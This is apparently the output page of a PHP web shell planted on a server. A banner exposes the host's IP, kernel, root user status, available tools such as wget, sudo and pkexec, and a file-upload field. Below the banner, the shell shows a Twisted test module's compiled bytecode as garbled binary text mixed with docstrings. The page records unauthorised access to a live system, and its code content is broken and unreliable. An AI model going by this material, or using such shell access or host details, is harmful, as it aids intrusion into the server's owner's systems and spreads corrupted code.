Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/python3/dist-packages/twisted/spread/test/__pycache__/ |
Upload File : |
o �b; � @ sj d Z ddlmZ ddlmZmZ ddlmZ ddlm Z ddl mZmZm Z ddlmZ G dd � d e�ZG d d� de�ZG dd � d e j�ZG dd� de j�ZG dd� deje je j�ZG dd� de je j�Ze �ee� e �ee� e j�e� G dd� de j�ZG dd� de j�Z G dd� dej!�Z"G dd� de"�Z#G dd� de#�Z$G dd� d�Z%G d d!� d!ej!�Z&d"S )#z! Tests for error handling in PB. � )�StringIO)�defer�reactor)�log)�qual)�flavors�jelly�pb)�unittestc @ � e Zd ZdZdS )�AsynchronousExceptionz� Helper used to test remote methods which return Deferreds which fail with exceptions which are not L{pb.Error} subclasses. N��__name__� __module__�__qualname__�__doc__� r r �D/usr/lib/python3/dist-packages/twisted/spread/test/test_pbfailure.pyr � r c @ r )�SynchronousExceptionzm Helper used to test remote methods which raise exceptions which are not L{pb.Error} subclasses. Nr r r r r r r r c @ r )�AsynchronousErrorz� Helper used to test remote methods which return Deferreds which fail with exceptions which are L{pb.Error} subclasses. Nr r r r r r ! r r c @ r )�SynchronousErrorzi Helper used to test remote methods which raise exceptions which are L{pb.Error} subclasses. Nr r r r r r ( r r c @ � e Zd ZdS )� JellyErrorN�r r r r r r r r / � r c @ r )� SecurityErrorNr r r r r r 3 r r c @ sh e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zddd�Zddd�Z dS )� SimpleRootc C � t �td��S )zD Fail asynchronously with a non-pb.Error exception. zremote asynchronous exception)r �failr ��selfr r r �remote_asynchronousException>